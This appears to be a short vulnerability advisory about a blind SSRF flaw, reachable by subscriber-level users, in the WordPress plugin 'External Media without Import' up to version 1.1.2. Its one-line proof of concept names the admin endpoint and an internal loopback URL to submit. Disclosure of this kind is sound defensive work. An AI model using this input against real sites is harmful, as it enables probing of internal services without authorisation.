WordPress Plugin Vulnerabilities

External Media without Import <= 1.1.2 - Subscriber+ Blind SSRF

Description

The plugin does not have any authorisation and does to ensure that medias added via URLs are external medias, which could allow any authenticated users, such as subscriber to perform blind SSRF attacks

Proof of Concept

Put an internal URL such as http://127.0.0.1:8080 in the "Add medias from URLs" feature of the plugin (/wp-admin/upload.php?page=add-external-media-without-import)
